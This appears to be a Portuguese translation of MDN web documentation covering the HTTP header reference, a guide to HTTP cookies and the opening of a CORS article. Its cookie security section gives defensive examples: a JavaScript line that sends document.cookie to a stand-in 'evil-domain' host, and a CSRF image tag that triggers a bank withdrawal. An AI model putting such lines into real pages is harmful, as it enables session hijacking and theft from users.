Cabeçalhos HTTP - HTTP

Cabeçalhos HTTP
===============

Os cabeçalhos HTTP permitem que o cliente e o servidor passem informações adicionais com a solicitação ou a resposta HTTP. Um cabeçalho de solicitação é composto por seu nome *case-insensitive* (não diferencia letras maiúsculas e minúsculas), seguido por dois pontos ':' e pelo seu valor (sem quebras de linha). Espaços em branco antes do valor serão ignorados.
Cabeçalhos proprietários personalizados podem ser adicionados usando o prefixo 'X-', mas essa convenção foi descontinuada em Junho de 2012, devido aos inconvenientes que causou quando os campos não-padronizados tornaram-se padronizados na RFC 6648; outros estão listados em um registro IANA, cujo o conteúdo original foi definido na RFC 4229. O IANA também mantém o registro das propostas de novas mensagens de cabeçalhos HTTP.

Cabeçalhos podem ser classificados de acordo com os seus contextos:

* Cabeçalho genérico: Cabeçalhos que podem ser usados tanto em solicitações quanto em respostas, porém sem relação com os dados eventualmente transmitidos no corpo da mensagem.
* Cabeçalho de solicitação: Cabeçalhos contendo mais informação sobre o recurso a ser obtido ou sobre o próprio cliente.
* Cabeçalho de resposta (en-US): Cabeçalhos contendo informação adicional sobre a solicitação, como a sua localização ou sobre o servidor.
* Cabeçalho de entidade: Cabeçalhos contendo mais informação sobre o conteúdo da entidade, como o tamanho do conteúdo ou o seu *MIME-type*.

Cabeçalhos também podem ser classificados de acordo com a forma que são manipulados por *proxies*.

End-to-end headers

Esses cabeçalhos devem ser transmitidos para o destinatário final da mensagem; isso é, o servidor em caso de solicitação ou o cliente caso resposta. *Proxies* intermediários devem reenviar cabeçalhos de *end-to-end* sem alterações e caches devem armazená-los.

Hop-by-hop headers

Esses cabeçalhos são significativos apenas para uma única conexão a nível de transporte e não devem ser reenviados por *proxies* ou armazenados em cache. Tais cabeçalhos são: `Connection`, `Keep-Alive`, `Proxy-Authenticate`, `Proxy-Authorization`, `TE`, `Trailer`, `Transfer-Encoding` and `Upgrade` (en-US). Observe que apenas cabeçalhos *hop-by-hop* podem ser definidos utilizando o cabeçalho genérico `Connection`.

A lista a seguir resume os cabeçalhos HTTP pela categoria de uso. Para uma lista alfabética, utilize o menu à esquerda.

Autenticação
------------

`WWW-Authenticate`

Define o método de autenticação que deve ser utilizado para conseguir acesso ao recurso.

`Authorization`

Contém as credenciais para autenticar um User-Agent com o servidor.

`Proxy-Authenticate`

Define o método de autenticação que deve ser utilizado para conseguir acesso ao recurso por trás de um servidor Proxy.

`Proxy-Authorization`

Contém as credenciais para autenticar um User-Agent com o servidor Proxy.

Caching
-------

`Age`

O tempo em segundos em que o objeto esteve em um cache de proxy.

`Cache-Control`

Especifica diretivas para mecanismos de cache em requisições e respostas.

`Expires`

A data/hora depois que a resposta é considerada obsoleta.

`Pragma`

Cabeçalho específico da implementação que pode ter varios efeitos em qualquer lugar ao longo da sequência de requisição-resposta. Usado para compatibilidade de versões anteriores com caches HTTP/1.0 onde o header Cache-Control ainda não está presente.

`Warning`

Um campo de alerta geral contendo informações sobre possíveis problemas.

Client hints
------------

O recurso HTTP Client hints (en-US) ainda está em desenvolvimento. A documentação está disponível no site do HTTP working group.

`Accept-CH`
Experimental

Os servidores podem dar suporte para o Client hints (en-US) usando o campo de cabeçalho Accept-CH ou um elemento HTML <meta> equivalente com atributo http-equiv ([HTML5]).

`Accept-CH-Lifetime`
Experimental

Os servidores podem solicitar ao cliente que lembre-se do conjunto de Client hints (en-US) que o servidor dá suporte por um período de tempo especificado, para permitir a entrega de Client hints (en-US) em solicitações seguidas ao servidor de origem([RFC6454]).

`Content-DPR` (en-US)
Experimental

Um número que indica a proporção entre pixels físicos sobre pixels CSS da resposta de imagem selecionada.

`DPR`
Experimental

Um número que indica o Device Pixel Ratio (DPR) atual do cliente, que é a proporção dos pixels físicos sobre os pixels CSS (Seção 5.2 de [CSSVAL]) do viewport do layout (Seção 9.1.1 do [CSS2]) no dispositivo.

`Device-Memory`
Experimental

Tecnicamente uma parte da API de Memória do Dispositivo (Device Memory API), este cabeçalho representa uma quantidade aproximada de RAM que o cliente possui.

`Save-Data`
Experimental

Um boleano que indica a preferência do agente do usuário pelo uso reduzido de dados.

`Viewport-Width` (en-US)
Experimental

Um número que indica a largura em pixels do viewport do layout em pixels CSS. O valor em pixels disponibilizado é um número arredondado do menor inteiro seguinte. (i.e. valor ceiling).

Se `Viewport-Width` ocorrer em uma mensagem mais de uma vez, o último valor irá sobrescrever todas as ocorrências anteriores.

`Width` (en-US)
Experimental

O campo `Width` no cabeçalho da requisição é um número que indica a largura desejada do recurso em pixels físicos (i.e. tamanho intrínseco da imagem). O valor do pixel provido é um número arredondado para o menor inteiro seguinte.

Se a largura do recurso desejada não for conhecida no momento da solicitação ou o recurso não tiver uma largura de exibição, o campo `Width` poderá ser omitido do cabeçalho. Se `Width` ocorrer em uma mensagem mais de uma vez, o último valor irá sobrescrever todas as ocorrências anteriores.

Condicionais
------------

`Last-Modified`

É um validador, a última data de modificação de um recurso, usado para comparar várias versões de um mesmo recurso. É menos preciso que o `ETag`, mas é mais fácil calcular em alguns ambientes. Requisições condicionais usando `If-Modified-Since` e `If-Unmodified-Since` usam esse valor para modificar o comportamento da requisição.

`ETag`

É um validador, uma string única identificando a versão do recurso. Requisições condicionais usando `If-Match` e `If-None-Match` usam esse valor para modificar o comportamento da requisição.

`If-Match`

Faz a requisição condicional e aplica o método apenas se o recurso armazenado corresponder a uma das ETags fornecidas.

`If-None-Match`

Faz a requisição condicional e aplica o método apenas se o recurso armazenado não corresponder a nenhuma das ETags fornecidas. É usado para atualizar caches ( para requisições seguras), ou para prevenir o upload de um novo recurso quando este já existe.

`If-Modified-Since`

Faz a requisição condicional e espera a entidade ser transmitida somente se tiver sido modificada após a data especificada. É usado para transmitir dados somente se o cache estiver desatualizado.

`If-Unmodified-Since`

Faz a requisição condicional e espera a entidade ser transmitida somente se **não** tiver sido modificada após a data especificada. É usado para garantir a coerência de um novo fragmento de um intervalo específico com os anteriores, ou para implementar um Sistema de Controle de concorrência otimista ao modificar os documentos existentes.

Gerenciamento de Conexão
------------------------

`Connection`

Controla se uma conexão de rede continua ou não aberta após o término da transação atual.

`Keep-Alive`

Controla por quanto tempo uma conexão persistente deve permanecer aberta.

Negociação de conteúdo
----------------------

`Accept`

Informa ao servidor sobre os tipos de dados que podem ser enviados de volta. Isto é MIME-type.

`Accept-Charset`

Informa ao servidor sobre qual conjunto de caracter o cliente é capaz de entender.

`Accept-Encoding`

Informa ao servidor sobre o algoritmo de codificação, geralmente um algoritmo de compressão, isto pode ser usado no recurso enviado de volta.

`Accept-Language`

Informa ao servidor sobre a linguagem que é esperada que o servidor envie de volta. Esta é uma dica e não está necessariamente sob controle total do usuário: o servidor deve sempre prestar atenção para não sobrepor uma escolha explícita do usuário (como selecionar uma linguagem em uma lista suspensa).

Controles
---------

`Expect`

Indica expectativas que precisam ser atendidas pelo servidor para lidar adequadamente com a solicitação.

`Max-Forwards` (en-US)

...

Cookies
-------

`Cookie`

Contém cookies HTTP armazenados previamente enviados pelo servidor com o cabeçalho `Set-Cookie`.

`Set-Cookie`

Envia cookies do servidor para o agente de usuário.

`Cookie2`

Contém um cookie HTTP enviado anteriormente pelo servidor com o cabeçalho `Set-Cookie2`, mas se tornou obsoleto pela especificação. Use `Cookie` em vez disso.

`Set-Cookie2`

Envia cookies do servidor para o agente-usuário, mas se tornou obsoleto pela especificação. Use `Set-Cookie` em vez disso.

CORS
----

`Access-Control-Allow-Origin`

Indica se a resposta pode ser compartilhada.

`Access-Control-Allow-Credentials`

Indica se a resposta a requisição pode ou não ser exposta quando a flag de crendenciais é verdadeira.

`Access-Control-Allow-Headers`

Usado na resposta para uma solicitação de comprovação (preflight request) para indicar quais cabeçalhos HTTP podem ser usados ao fazer a solicitação real.

`Access-Control-Allow-Methods`

Especifica o método, ou métodos, permitido ao acessar o recurso em resposta à solicitação de comprovação (preflight request).

`Access-Control-Expose-Headers`

Indica quais cabeçalhos podem ser expostos como parte da resposta listando seus nomes.

`Access-Control-Max-Age`

Indica por quanto tempo os resultados de uma solicitação de comprovação (preflight request) podem ser armazenados em cache.

`Access-Control-Request-Headers`

Utilizado ao emitr uma solicitação de comprovação (preflight request) para informar ao servidor quais cabeçalhos HTTP serão usados quando a solicitação real for realizada.

`Access-Control-Request-Method`

Utilizado ao emitir uma solicitação de comprovação (preflight request) para informar ao servidor qual método HTTP será usado quando a solicitação real for realizada.

`Origin`

Inddica de onde uma busca se origina.

`Timing-Allow-Origin`

Especifica as origens que tem permissão para ver valores de atributos recuperados por meio de recursos da API de Tempo de Recurso (Resource Timing API) que, de outra forma, seriam relatados como zero devido a restrições de origem cruzada (cross-origin restrictions).

Do Not Track
------------

`DNT`

Usado para expressas a preferência de rastreamento do usuário

`Tk`

Indica o status de rastreamento aplicado à requisição correspondente.

Downloads
---------

`Content-Disposition`

Indica se o recurso transmitido deve ser mostrado em linha (inline - comportamento padrão sem o cabeçalho), ou se deve apresentar uma caixa de diálogo "Salvar como".

Informações do corpo da mensagem
--------------------------------

`Content-Length`

Indica o tamanho do corpo da mensagem, em decimal, enviado ao destinatário

`Content-Type`

Indica o tipo de mídia do recurso.

`Content-Encoding`

Usado para especificar o algoritmo de compressão.

`Content-Language`

Descreve a linguagem destinada ao público, para permitir que um usuário se diferencie de acordo com o idioma preferido dele.

`Content-Location`

Indica um local alternativo para os dados retornados.

Roteamento de mensagens (Proxies)
---------------------------------

`Forwarded`

Contém informações do lado do cliente dos servidores *proxy* que é alterado ou perdido quando um *proxy* é envolvido no caminho de uma solicitação.

`X-Forwarded-For`
Non-standard

Identifica os endereços de IP de origem de um cliente que se conecta a um servidor web por meio de um *proxy* HTTP ou balanceador de carga.

`X-Forwarded-Host`
Non-standard

Identifica o host original que um cliente usou para se conectar ao *proxy* ou balanceador de carga.

`X-Forwarded-Proto`
Non-standard

Identifica o protocolo (HTTP ou HTTPS) que um cliente usou para se conectar ao seu *proxy* ou balanceador de carga.

`Via`

Adicionado por *proxies,* ambos *proxies* de encaminhamento *(forward)* e reverso *(reverse), e pode aparecer nos cabeçalhos de solicitação e de resposta.*

Redirecionamentos
-----------------

`Location`

Indica a URL para redirecionar uma página.

Contexto da requisição
----------------------

`From`

Contém um endereço de e-mail da internet para um usuário humano que controla o agente do usuário solicitante.

`Host`

Especifica o nome de domínio do servidor (para hospedagem virtual), e (opcionalmente) o número da porta TCP na qual o servidor está ouvindo.

`Referer`

The address of the previous web page from which a link to the currently requested page was followed.

`Referrer-Policy`

Governs which referrer information sent in the `Referer` header should be included with requests made.

`User-Agent`

Contains a characteristic string that allows the network protocol peers to identify the application type, operating system, software vendor or software version of the requesting software user agent. See also the Firefox user agent string reference (en-US).

Contexto da resposta
--------------------

`Allow`

Lista o conjunto de métodos de requisição HTTP suportados por um recurso.

`Server`

Contém informações a respeito do programa utilizado pelo servidor de origem para lidar com a requisição.

Requisições Range
-----------------

`Accept-Ranges`

Indica se o servidor suporta solicitações de intervalo, se sim, em qual unidade o intervalo pode ser expresso.

`Range`

Indica a parte de um documento que o servidor deve retornar.

`If-Range`

Cria uma solicitação de intervalo condicional que é atendida se a etag ou data fornecida no parâmetro corresponde ao recurso remoto. Usado para impedir o download de dois intervalos da versão incompatível do recurso.

`Content-Range`

Indica onde uma parte da mensagem faz parte de uma mensagem inteira de corpo.

Segurança
---------

`Content-Security-Policy` (CSP (en-US))

Controls resources the user agent is allowed to load for a given page.

`Content-Security-Policy-Report-Only`

Allows web developers to experiment with policies by monitoring (but not enforcing) their effects. These violation reports consist of JSON documents sent via an HTTP `POST` request to the specified URI.

`Public-Key-Pins` (HPKP (en-US))

Associates a specific cryptographic public key with a certain web server to decrease the risk of MITM (en-US) attacks with forged certificates.

`Public-Key-Pins-Report-Only`

Sends reports to the report-uri specified in the header and does still allow clients to connect to the server even if the pinning is violated.

`Strict-Transport-Security` (HSTS)

Force communication using HTTPS instead of HTTP.

`Upgrade-Insecure-Requests`

Sends a signal to the server expressing the client's preference for an encrypted and authenticated response, and that it can successfully handle the `upgrade-insecure-requests` (en-US) directive.

`X-Content-Type-Options`

Disables MIME sniffing and forces browser to use the type given in `Content-Type`.

`X-Frame-Options` (XFO)

Indicates whether or not a browser should be allowed to render a page in a `<frame>` (en-US), `<iframe>` or `<object>` (en-US)

`X-XSS-Protection`

Enables cross-site scripting filtering.

Server-sent events
------------------

`Ping-From`

...

`Ping-To`

...

`Last-Event-ID`

...

Transfer coding
---------------

`Transfer-Encoding`

Specifies the the form of encoding used to safely transfer the entity to the user.

`TE`

Specifies the transfer encodings the user agent is willing to accept.

`Trailer`

Allows the sender to include additional fields at the end of chunked message.

WebSockets
----------

`Sec-WebSocket-Key`

...

`Sec-WebSocket-Extensions`

...

`Sec-WebSocket-Accept` (en-US)

...

`Sec-WebSocket-Protocol`

...

`Sec-WebSocket-Version`

...

Outros
------

`Date`

Contém a data e hora em que a mensagem foi produzida.

`Link`

...

`Retry-After`

Indica quanto tempo o User-Agent deve esperar antes de realizar uma requisição de acompanhamento.

`Upgrade` (en-US)

This is a Proposed Internet Standard. To view a comprehensive list of all Official and Proposed Internet Standards with detailed information about each, visit this Internet Standards reference, which is updated daily. The relevant RFC document for the Upgrade header field standard is RFC 7230, section 6.7. The standard establishes rules for upgrading or changing to a different protocol on the current client, server, transport protocol connection. For example, this header standard allows a client to change from HTTP 1.1 to HTTP 2.0, assuming the server decides to acknowledge and implement the Upgrade header field. Niether party is required to accept the terms specified in the Upgrade header field. It can be used in both client and server headers. If the Upgrade header field is specified, then the sender MUST also send the Connection header field with the upgrade option specified. For details on the Connection header field please see section 6.1 of the aforementioned RFC.

`Vary`

Determines how to match future request headers to decide whether a cached response can be used rather than requesting a fresh one from the origin server.

`X-Content-Duration`

...

`X-DNS-Prefetch-Control`

Controls DNS prefetching, a feature by which browsers proactively perform domain name resolution on both links that the user may choose to follow as well as URLs for items referenced by the document, including images, CSS, JavaScript, and so forth.

`X-Requested-With`

...

`X-UA-Compatible`

...

Veja também
-----------

* Wikipedia page on List of HTTP headers
* IANA registry


Cookies HTTP - HTTP

Cookies HTTP
============

Um cookie HTTP (um cookie web ou cookie de navegador) é um pequeno fragmento de dados que um servidor envia para o navegador do usuário. O navegador pode armazenar estes dados e enviá-los de volta na próxima requisição para o mesmo servidor. Normalmente é utilizado para identificar se duas requisições vieram do mesmo navegador — ao manter um usuário logado, por exemplo. Ele guarda informações dinâmicas para o protocolo HTTP sem estado.

Cookies são usados principalmente para três propósitos:

Gerenciamento de sessão

Logins, carrinhos de compra, placar de jogos ou qualquer outra atividade que deva ser guardada por um servidor.

Personalização

Preferências de usuário, temas e outras configurações.

Rastreamento

Registro e análise do comportamento de um usuário.

Os cookies eram usados para armazenamento geral no lado do cliente. Embora isso fosse aceitável quando eram a única forma de armazenar dados no cliente, atualmente é recomendável utilizar APIs de armazenamento mais modernas. Os cookies são enviados em todas as requisições, por isso podem prejudicar a performance (especialmente em conexões móveis). APIs modernas de armazenamento no cliente são Web storage API (`localStorage` e `sessionStorage`) e IndexedDB.

**Nota:** Para visualizar os cookies armazenados (e outros armazenamentos que uma página web pode usar), pode-se habilitar o Storage Inspector nas Ferramentas de Desenvolvimento e selecionar o item **Cookies** na árvore de armazenamento.

Criando cookies
---------------

Ao receber uma requisição HTTP, um servidor pode enviar um cabeçalho `Set-Cookie` com a resposta. O cookie normalmente é armazenado pelo navegador, então o cookie é enviado com as requisições feitas para o mesmo servidor dentro do cabeçalho HTTP `Cookie`. Uma data de expiração ou duração pode ser especificada, e após esta data o cookie não é mais enviado. Adicionalmente, restrições para um domínio específico e caminho podem ser configuradas, limitando para onde o cookie é enviado.

### Os cabeçalhos `Set-Cookie` e `Cookie`

O cabeçalho HTTP de resposta `Set-Cookie` envia cookies do servidor para o cliente. Um cookie simples é configurado da seguinte forma:
```

Set-Cookie: <cookie-name>=<cookie-value>
```

Este cabeçalho de servidor informa ao cliente para armazenar um cookie.

**Nota:** Eis as formas de utilização do cabeçalho `Set-Cookie` em várias aplicações de servidor:- PHP

* Node.JS
* Python
* Ruby on Rails
```

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[conteúdo da página]
```

Agora, em qualquer requisição nova ao servidor, o navegador envia de volta todos os cookies previamente armazenados para o servidor utilizando o cabeçalho `Cookie`.
```

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
```

### Cookies de sessão

O cookie criado anteriormente é um *cookie de sessão*: ele é apagado quando o cliente fecha a sessão, pois não foi específicada uma diretiva `Expires` ou `Max-Age`. Entretanto, navegadores web podem usar **restauração de sessão**, o que torna quase todos cookies de sessão permanentes, como se o navegador nunca tivesse sido fechado.

### Cookies permanentes

Ao invés de expirar quando o cliente fecha, *cookies permanentes* expiram em uma data específica (`Expires`) ou depois de um período específico de tempo (`Max-Age`).
```

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
```

**Nota:** Quando uma data de expiração é configurada, o tempo e a data são relativas ao cliente no qual o cookie está configurado, não ao servidor.

### Cookies `Secure` e `HttpOnly`

Um cookie seguro só é enviado ao servidor com uma requisição criptografada sobre um protocolo HTTPS. Mesmo com a diretiva `Secure`, informações confidenciais *nunca* devem ser guardadas em cookies, pois são intrinsecamente inseguros e esta diretiva não oferece proteção real. Iniciando com o Chrome 52 e o Firefox 52, sites inseguros (`http:`) não podem mais configurar cookies com a diretiva `Secure`.

Para se prevenir de ataques *cross-site scripting* (XSS (en-US)), os cookies `HttpOnly` são inacessíveis para a API JavaScript `Document.cookie` (en-US); eles são enviados só para o servidor. Por exemplo, cookies que persistem sessões de servidor não precisam estar disponíves para o JavaScript, e portanto a diretiva `HttpOnly` deve ser configurada.
```

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
```

### Escopo dos cookies

As diretivas `Domain` e `Path` definem o *escopo* de um cookie: para quais URLs os cookies devem ser enviados.

A diretiva `Domain` especifica os hosts permitidos de receber o cookie. Se não é especificada, o seu valor padrão é o host da localização do documento atual, **excluindo subdomínios**. Se a diretiva `Domain` *é* especificada, então os subdomínios são também incluídos.

Por exemplo, se `Domain=mozilla.org` é configurado, então os cookies são incluídos em subdomínios como `developer.mozilla.org`.

A diretiva `Path` indica o caminho da URL que deve existir na URL requisitada para que o cabeçalho `Cookie` seja enviado. O caractere %x2F ("/") é considerado um separador de diretórios, e os subdiretórios também seguem essa regra.

Por exemplo, se `Path=/docs` é configurado, estes caminhos coincidem:

* `/docs`
* `/docs/Web/`
* `/docs/Web/HTTP`
### Cookies `SameSite`
Experimental

Cookies `SameSite` permitem que servidores exijam que um cookie não deve ser enviado com requisições entre sites, o que pode proteger contra ataques de requisição forjada entre sites (CSRF (en-US)).

Cookies `SameSite` são relativamente novos, mas tem suporte nos principais browsers do mercado.

Veja um exemplo:
```

Set-Cookie: key=value; SameSite=Strict
```

O atributo SameSite pode receber um ou dois valores (case-insensitive):

`None`

O navegador irá enviar os cookies tanto para as requisições *cross-site* quanto *same-site*.

`Strict`

Se o cookie same-site possuir este atributo, o navegador enviará cookies apenas se a requisição for enviada do website que configurou este cookie, Se a requisição tem origem em outra URL, nenhum cookie com o atributo`Strict` será incluído.

`Lax`

Se o atributo receber o valor Lax, os cookies same-site ficarão retidos nas sub-requisições entre sites, como chamadas para carregar imagens ou frames, mas serão enviadas quando um usuário navegar para o URL de um site externo.

O comportamento padrão se a flag não estiver setada ou sem suporte do navegador é incluir os cookies em qualquer solicitação, incluindo solicitações cross-origin.

### Acesso via JavaScript usando `Document.cookie`

Novos cookies podem ser também criados via JavaScript usando a propriedade `Document.cookie` (en-US) e, se a diretiva `HttpOnly` não está configurada, os cookies existentes podem ser acessados pelo JavaScript também.

```js
document.cookie = "yummy\_cookie=choco";
document.cookie = "tasty\_cookie=strawberry";
console.log(document.cookie);
// logs "yummy\_cookie=choco; tasty\_cookie=strawberry"
```

Consulte as questões de segurança na seção Segurança a seguir. Os cookies disponíveis ao JavaScript podem ser roubados usando XSS.

Segurança
---------

**Nota:** Informações confidenciais ou restritas nunca devem ser transmitidas via cookies HTTP, já que todo o mecanismo é intrinsecamente inseguro.

### Sequestro de sessões e XSS

Os cookies geralmente são usados em aplicações web para identificar um usuário e sua sessão autenticada, portanto roubar um cookie pode levar ao sequestro da sessão do usuário autenticado. As formas mais comuns de roubar cookies incluem Engenharia Social ou exploração de uma vulnerabilidade XSS (en-US) em uma aplicação.

```js
new Image().src =
  "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
```

O atributo `HttpOnly` do cookie pode ajudar a minimizar este ataque ao prevenir o acesso ao valor do cookie usando JavaScript.

### Requisição forjada entre sites (CSRF)

A Wikipedia menciona um bom exemplo de CSRF (en-US). Nesta situação, alguém inclui uma imagem que não é realmente uma imagem, como por exemplo em um chat ou fórum sem filtro, mas sim uma requisição para o servidor de um banco para sacar dinheiro:

```html
<img
 src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory" />
```

Agora, se você estiver logado na sua conta no banco e seus cookies ainda são válidos, e não há mais nenhuma validação, você vai transferir o dinheiro assim que carregar o código HTML que contém a imagem. Existem algumas técnicas que são usadas para evitar ataques deste tipo:

* Assim como XSS (en-US), filtrar entradas de usuário é importante.
* Sempre deve haver uma confirmação antes de qualquer ação restrita.
* Cookies usados para ações confidenciais sempre devem ter um tempo de vida restrito.
* Para mais dicas de proteção, consulte o OWASP CSRF prevention cheat sheet.
Rastreamento e privacidade
--------------------------

### Cookies de terceiros

Os cookies têm um domínio associado. Se este domínio é o mesmo do domínio da página atual, diz-se que os cookies são *diretos*. Se o domínio é diferente, diz-se que os cookies são *de terceiros*. Enquanto cookies diretos só são enviados para o servidor que os configura, uma página web pode conter imagens ou outros componentes guardados em servidores de outros domínios, como por exemplo propagandas. Os cookies enviados por estes componentes de terceiros são chamadas de cookies de terceiros e são principalmente usados para propaganda e rastreamento pela web. Veja por exemplo os tipos de cookies usados pela Google. Muitos navegadores permitem cookies de terceiros por padrão, mas há complementos que permitem bloqueá-los, como por exemplo o Privacy Badger da EFF.

Se você não informa que usa cookies de terceiros, a confiança dos usuários pode ficar abalada caso descubram o uso deste tipo de cookie. Uma informação clara, com por exemplo uma política de privacidade, tende a eliminar qualquer efeito negativo da descoberta dos cookies. Alguns países têm uma legislação sobre cookies. Consulte a declaração de cookies da Fundação Wikimedia, por exemplo.

### Cabeçalho Do-Not-Track

Não há requisitos legais ou tecnológicos para seu uso, mas o cabeçalho `DNT` pode ser usado para avisar que uma aplicação web deve desabilitar seu rastreamento ou rastreamento de usuários entre sites para um usuário específico. Consulte o cabeçalho `DNT` para mais informações.

### Diretivas da UE para cookies

Os requisitos para cookies na UE (União Europeia) estão definidos na Diretriz 2009/136/EC do Parlamento Europeu e entraram em vigor em 25 de maio de 2011. Uma diretriz não é lei por si só, mas um requisito para os estados membros da UE para aprovar leis que contemplem os requisitos da diretriz. Essas leis podem variar de país para país.

Resumindo, a diretriz da UE significa que antes que alguém armazene ou recupere qualquer informação de um computador, celular ou outro equipamento, o usuário deve dar permissão para isso. Muitos websites colocaram anúncios (conhecidos como *anúncios de cookies*) desde então para informar os usuários sobre o uso dos cookies.

Para mais informações, consulte esta seção da Wikipedia e leis federais para informações atualizadas e precisas.

### Cookies zumbi e Evercookies

Uma abordagem mais radical aos cookies são os cookies zumbi ou *Evercookies*, que são recriados quando apagados e intencionalmente difíceis de apagar por completo. Eles usam a API Web storage, Objetos Flash Local Shared e outras técnicas para se recriarem sempre que a ausência do cookie é detectada.

* Evercookie por Samy Kamkar
* Cookies zumbi na Wikipedia
Veja também
-----------

* `Set-Cookie`
* `Cookie`
* `Document.cookie` (en-US)
* `Navigator.cookieEnabled`
* Inspecionando cookies usando o Inspetor de Armazenamento
* Especificação dos cookies: RFC 6265
* Artigo de Nicholas Zakas sobre cookies
* Artigo de Nicholas Zakas sobre cookies e segurança
* Cookies HTTP na Wikipedia


Cross-Origin Resource Sharing (CORS) - HTTP

Cross-Origin Resource Sharing (CORS)
====================================

CORS - Cross-Origin Resource Sharing (Compartilhamento de recursos com origens diferentes) é um mecanismo que usa cabeçalhos adicionais HTTP para informar a um navegador que permita que um aplicativo Web seja executado em uma origem (domínio) com permissão para acessar recursos selecionados de um servidor em uma origem distinta. Um aplicativo Web executa uma **requisição *cross-origin* HTTP** ao solicitar um recurso que tenha uma origem diferente (domínio, protocolo e porta) da sua própria origem.

Um exemplo de requisição *cross-origin*: o código JavaScript *frontend* de um aplicativo web disponível em `http://domain-a.com` usa `XMLHttpRequest` para fazer uma requisição para `http://api.domain-b.com/data.json`.

Por motivos de segurança, navegadores restringem requisições *cross-origin* HTTP iniciadas por scripts. Por exemplo, `XMLHttpRequest` e Fetch API seguem a política de mesma origem (en-US) (*same-origin policy*). Isso significa que um aplicativo web que faz uso dessas APIs só poderá fazer solicitações para recursos de mesma origem da qual o aplicativo foi carregado, a menos que a resposta da outra origem inclua os cabeçalhos CORS corretos.

![](/pt-BR/docs/Web/HTTP/CORS/cors_principle.png)

O mecânismo CORS suporta requisições seguras do tipo *cross-origin e* transferências de dados entre navegadores e servidores web. Navegadores modernos usam o CORS em uma API contêiner, como `XMLHttpRequest` ou Fetch, para ajudar a reduzir os riscos de requisições *cross-origin* HTTP.

Quem deve ler este artigo?
--------------------------

Todos, realmente.

Este artigo destina-se a administradores da Web, desenvolvedores de servidores e desenvolvedores front-end. Os navegadores modernos lidam com os componentes do lado cliente em compartilhamento entre origens, incluindo cabeçalhos e aplicação de políticas. Mas esse novo padrão significa que os servidores precisam lidar com novos cabeçalhos de requisição e resposta. Outro artigo para desenvolvedores de servidores que discutem compartilhamento *cross-origin* a partir de uma perspectiva de servidor (com fragmentos de código PHP), pode ser uma leitura complementar.

Quais solicitações usam o CORS?
-------------------------------

Esse padrão de compartilhamento *cross-origin* é usado para habilitar solicitações HTTP entre sites para:

* Chamadas `XMLHttpRequest` ou Fetch API pela comunicação entre origens diferentes, tal como discutido acima.
* Web Fonts (para o uso de fontes pelo *cross-domain* em `@font` do CSS), para que os servidores possam implantar fontes TrueType que só podem ser carregadas em origens diferentes e usadas por sites com autorização para isso.
* Texturas WebGL (en-US).
* *Frames* de Imagens/vídeos desenhados em uma tela usando `drawImage()` (en-US).

Este artigo é uma discussão geral sobre *Cross-Origin Resource Sharing* (Compartilhamento de recursos com origens diferentes) e inclui uma discussão de cabeçalhos HTTP necessários.

Visão Geral
-----------

O padrão *Cross-Origin Resource Sharing* trabalha adicionando novos cabeçalhos HTTP que permitem que os servidores descrevam um conjunto de origens que possuem permissão a ler uma informação usando o navegador. Além disso, para métodos de requisição HTTP que podem causar efeitos colaterais nos dados do servidor (em particular, para métodos HTTP diferentes de `GET` ou para uso de `POST` com certos MIME types), a especificação exige que navegadores "pré-enviem" a requisição, solicitando os métodos suportados pelo servidor com um método de requisição HTTP `OPTIONS` e, após a "aprovação", o servidor envia a requisição verdadeira com o método de requisição HTTP correto. Servidores também podem notificar clientes se "credenciais" (incluindo Cookies e dados de autenticação HTTP) devem ser enviadas com as requisições.

Falhas no CORS resultam em erros, mas por questões de segurança, detalhes sobre erros não estão disponíveis no código JavaScript. O código tem apenas conhecimento de que ocorreu um erro. A única maneira para determinar especificamente o que ocorreu de errado é procurar no console do navegador por mais detalhes.

Seções subsequentes discutem cenários, assim como fornecem um detalhamento dos cabeçalhos HTTP utilizados.

Exemplos de cenários com controle de acesso
-------------------------------------------

Aqui, apresentamos três cenários que ilustram como *Cross-Origin Resource Sharing* funciona. Todos estes exemplos usam o objeto `XMLHttpRequest`, que pode ser utilizado para fazer requisições entre origens em qualquer navegador compatível.

Os snippets JavaScript inclusos nessas seções (e instâncias executáveis de código do lado servidor que tratam corretamente essas requisições entre origens) podem ser encontrados "em ação" aqui: http://arunranga.com/examples/access-control/, e irão funcionar em navegadores que suportam `XMLHttpRequest` entre origens.

Uma discussão sobre *Cross-Origin Resource Sharing* a partir da perspectiva do servidor (incluindo snippets de código PHP) pode ser encontrada no artigo Server-Side Access Control (CORS) (en-US).

### Requisições simples

Algumas requisições não acionam um pré-envio CORS (en-US). Essas são denominadas neste artigo como "requisições simples" (*simple request*), embora a especificação Fetch (que define CORS) não utilize esse termo. Uma requisição que não aciona um pré-envio CORS (en-US) — denominada "requisição simples" — é uma que **atende todas as seguintes condições**:

* Os únicos métodos permitidos são:
    + `GET`
    + `HEAD`
    + `POST`
* Além dos cabeçalhos definidos automaticamente pelo agente do usuário (por exemplo, `Connection`, `User-Agent` ou qualquer um dos outros cabeçalhos com nomes definidos na especificação Fetch como "*forbidden header name*"), os únicos cabeçalhos que podem ser definidos manualmente são aqueles cujo a especificação Fetch define como sendo um "*CORS-safelisted request-header*", que são:
    + `Accept`
    + `Accept-Language`
    + `Content-Language`
    + `Content-Type` (porém observe os requisitos adicionais abaixo)
* Os únicos valores permitidos para o `Content-Type` do cabeçalho são:
    + `application/x-www-form-urlencoded`
    + `multipart/form-data`
    + `text/plain`
* Nenhum *event listener* é registrado em qualquer objeto `XMLHttpRequestUpload` (en-US) usado na requisição, estes são acessados usando a propriedade `XMLHttpRequest.upload` (en-US).
* Nenhum objeto `ReadableStream` (en-US) é usado na requisição.

**Nota:** Esses são os mesmos tipos de requisições entre origens distintas que o conteúdo da web já pode realizar e nenhum dado dado de resposta é liberado ao solicitante, a menos que o servidor envie um cabeçalho adequado. Portanto, sites que impedem a falsificação de requisições entre origens não tem nada a temer em relação ao controle de acesso HTTP.

